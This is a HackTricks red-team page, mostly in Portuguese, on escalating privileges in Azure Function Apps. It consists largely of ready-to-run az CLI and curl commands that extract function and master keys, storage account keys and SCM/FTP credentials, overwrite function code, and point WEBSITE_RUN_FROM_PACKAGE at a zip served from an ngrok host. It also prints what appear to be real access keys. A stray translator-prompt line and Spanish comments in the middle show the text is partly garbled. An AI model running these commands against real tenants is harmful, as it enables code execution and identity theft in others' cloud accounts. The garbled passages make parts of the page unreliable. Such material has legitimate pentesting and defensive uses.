Az - Functions App Privesc

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Function Apps

Check the following page for more information:

Az - Function Apps

Bucket Read/Write

Com permissões para ler os containers dentro do Storage Account que armazena os dados da função, é possível encontrar diferentes containers (customizados ou com nomes predefinidos) que podem conter o código executado pela função.

Uma vez que você encontrar onde o código da função está localizado, se você tiver permissões de escrita sobre ele, você pode fazer a função executar qualquer código e escalar privilégios para as managed identities anexadas à função.

  • File Share (WEBSITE_CONTENTAZUREFILECONNECTIONSTRING and WEBSITE_CONTENTSHARE))

O código da função normalmente fica armazenado dentro de um file share. Com acesso suficiente é possível modificar o arquivo de código e fazer a função carregar código arbitrário, permitindo escalar privilégios para as managed identities anexadas à Function.

Esse método de implantação normalmente define as configurações WEBSITE_CONTENTAZUREFILECONNECTIONSTRING e WEBSITE_CONTENTSHARE que você pode obter de

az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>

Essas configurações conterão a Storage Account Key que a Function pode usar para acessar o código.

Caution

Com permissão suficiente para conectar ao File Share e modificar o script em execução, é possível executar código arbitrário na Function e escalar privilégios.

O exemplo a seguir usa macOS para conectar ao file share, mas recomenda-se também consultar a página a seguir para mais informações sobre file shares:

Az - File Shares

# Username is the name of the storage account
# Password is the Storage Account Key

# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py

open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
  • function-releases (WEBSITE_RUN_FROM_PACKAGE)

Também é comum encontrar os arquivos zip dentro da pasta function-releases do container da Storage Account que a function app está usando — um container geralmente chamado function-releases.

Normalmente este método de implantação definirá a configuração WEBSITE_RUN_FROM_PACKAGE em:

az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>

Esta config will usually contain a SAS URL to download the code from the Storage Account.

Caution

With enough permission to connect to the blob container that contains the code in zip it’s possible to execute arbitrary code in the Function and escalate privileges.

  • github-actions-deploy (WEBSITE_RUN_FROM_PACKAGE)

Just like in the previous case, if the deployment is done via Github Actions it’s possible to find the folder github-actions-deploy in the Storage Account containing a zip of the code and a SAS URL to the zip in the setting WEBSITE_RUN_FROM_PACKAGE.

  • scm-releases(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING e WEBSITE_CONTENTSHARE)

With permissions to read the containers inside the Storage Account that stores the function data it’s possible to find the container scm-releases. In there it’s possible to find the latest release in Squashfs filesystem file format and therefore it’s possible to read the code of the function:

# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table

# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table

# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip

## Even if it looks like the file is a .zip, it's a Squashfs filesystem

# Install
brew install squashfs

# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"

# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip

Também é possível encontrar as master and functions keys armazenadas na storage account no container azure-webjobs-secrets dentro da pasta <app-name> nos arquivos JSON que você encontra lá dentro.

Caution

Com permissão suficiente para conectar-se ao blob container que contém o código em um arquivo de extensão zip (que na verdade é um squashfs) é possível executar código arbitrário na Function e elevar privilégios.

# Modify code inside the script in /tmp/fs adding your code

# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip  -b 131072 -noappend

# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite

Microsoft.Web/sites/host/listkeys/action

Esta permissão permite listar as function, master e system keys, mas não a host, da function especificada com:

az functionapp keys list --resource-group <res_group> --name <func-name>

Com a master key também é possível obter o código-fonte em uma URL como:

# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"

# Access
curl "<script-href>?code=<master-key>"
# Python function app example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v

E para alterar o código que está sendo executado na função para:

# Set the code to set in the function in /tmp/function_app.py
## Python function app example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v

# NodeJS function app example
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
--data-binary @/tmp/index.js \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v

Microsoft.Web/sites/functions/listKeys/action

Esta permissão permite obter a chave padrão da função especificada com:

az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"

Invoque a função usando a chave padrão obtida:

curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"

Microsoft.Web/sites/host/functionKeys/write

Esta permissão permite criar/atualizar uma chave de função da função especificada com:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Microsoft.Web/sites/host/masterKey/write

Esta permissão permite criar/atualizar uma master key para a função especificada com:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Caution

Lembre-se de que com esta chave você também pode acessar o código-fonte e modificá-lo, como explicado anteriormente!

Microsoft.Web/sites/host/systemKeys/write

Esta permissão permite criar/atualizar uma chave de função do sistema para a função especificada com:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Você não incluiu a chave nem o conteúdo. Por favor cole a “key” e/ou o conteúdo do arquivo src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md para eu traduzir para português conforme as instruções.

# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"

# Ejemplo: Acceso a Event Grid webhooks
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"

Microsoft.Web/sites/config/list/action

Essa permissão permite obter as configurações de uma function. Dentro dessas configurações pode ser possível encontrar os valores padrão AzureWebJobsStorage ou WEBSITE_CONTENTAZUREFILECONNECTIONSTRING, que contêm uma chave de conta para acessar o blob storage da function com permissões FULL.

az functionapp config appsettings list --name <func-name> --resource-group <res-group>

Além disso, essa permissão também permite obter o SCM username and password (se ativado) com:

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"

Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write

Essas permissões permitem listar os valores de configuração de uma função como vimos antes, além de modificar esses valores. Isso é útil porque essas configurações indicam onde o código a ser executado dentro da função está localizado.

Portanto, é possível definir o valor da configuração WEBSITE_RUN_FROM_PACKAGE apontando para um arquivo zip em uma URL contendo o novo código a ser executado dentro de uma aplicação web:

  • Comece obtendo a configuração atual
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
  • Crie o código que você quer que a função execute e hospede-o publicamente
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server

# Serve it using ngrok for example
ngrok http 8000
  • Modifique a função, mantenha os parâmetros anteriores e adicione ao final a configuração WEBSITE_RUN_FROM_PACKAGE apontando para a URL com o zip que contém o código.

O seguinte é um exemplo das minhas próprias configurações (você precisará alterar os valores para os seus), observe ao final os valores "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip", é aí que eu hospedava o app.

# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'

Microsoft.Web/sites/hostruntime/vfs/write

Com esta permissão é possível modificar o código de uma aplicação através do console web (ou através do seguinte endpoint de API):

# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body

# Through the SCM URL (using Azure permissions or SCM creds)
az rest --method PUT \
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
--resource "https://management.azure.com/" \
--headers "If-Match=*" \
--body 'module.exports = async function (context, req) {
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");

const name = (req.query.name || (req.body && req.body.name));
const responseMessage = name
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";

context.res = {
// status: 200, /* Defaults to 200 */
body: responseMessage
};
}'

Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)

Esta permissão permite listar todos os publishing profiles que basicamente contêm basic auth credentials:

# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json

Outra opção seria configurar suas próprias creds e usá-las com:

az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
  • Se as credenciais estiverem REDACTED

Se você vir que essas credenciais estão REDACTED, é porque você precisa habilitar a opção SCM basic authentication e para isso você precisa da segunda permissão (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):

# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
  • Método SCM

Em seguida, você pode acessar com essas basic auth credentials to the SCM URL do seu function app e obter os valores das env variables:

# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v

# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy

Observe que o SCM username costuma ser o caractere “$” seguido pelo nome do app, então: $<app-name>.

Você também pode acessar a página web em https://<app-name>.scm.azurewebsites.net/BasicAuth

Os valores das configurações contêm o AccountKey da storage account que armazena os dados da function app, permitindo controlar essa storage account.

  • Método FTP

Conecte-se ao servidor FTP usando:

# macOS install lftp
brew install lftp

# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/

# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it

Note que o FTP username geralmente está no formato <app-name>\$<app-name>.

Microsoft.Web/sites/hostruntime/vfs/read

Esta permissão permite ler o código-fonte do app através do VFS:

az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"

Microsoft.Web/sites/functions/token/action

Com essa permissão é possível get the admin token que pode ser usado posteriormente para recuperar a master key e, portanto, acessar e modificar o código da função.

No entanto, nas minhas últimas verificações nenhum token foi retornado, então pode estar desabilitado ou não estar mais funcionando, mas aqui está como você faria:

# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"

# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"

Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)

Esta permissão permite ativar functions que podem estar desativadas (ou desativá‑las).

# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"

Também é possível ver se uma function está ativada ou desativada na seguinte URL (usando a permissão entre parênteses):

az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"

Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)

Com essas permissões é possível modificar o container executado por um function app configurado para executar um container. Isso permitiria que um atacante enviasse para o docker hub (por exemplo) um azure function container app malicioso e fizesse o function app executá-lo.

az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"

Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)

Com essas permissões é possível attach a new user managed identity to a function. Se a function for comprometida, isso permitiria escalar privilégios para qualquer user managed identity.

az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>

Depuração Remota

Também é possível conectar-se para depurar uma Azure Function em execução como explained in the docs. No entanto, por padrão o Azure desativará essa opção após 2 dias caso o desenvolvedor esqueça, para evitar deixar configurações vulneráveis.

É possível verificar se uma Function tem depuração habilitada com:

az functionapp show --name <app-name> --resource-group <res-group>

Tendo a permissão Microsoft.Web/sites/config/write também é possível colocar uma função em modo de depuração (o comando a seguir também requer as permissões Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/Read e Microsoft.Web/sites/Read).

az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>

Alterar Github repo

Tentei alterar o Github repo de onde o deploy está ocorrendo executando os seguintes comandos, mas mesmo que tenha alterado, o novo código não foi carregado (provavelmente porque está esperando que o Github Action atualize o código).
Além disso, a managed identity federated credential wasn’t updated para permitir o novo repository, então parece que isso não é muito útil.

# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1

# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks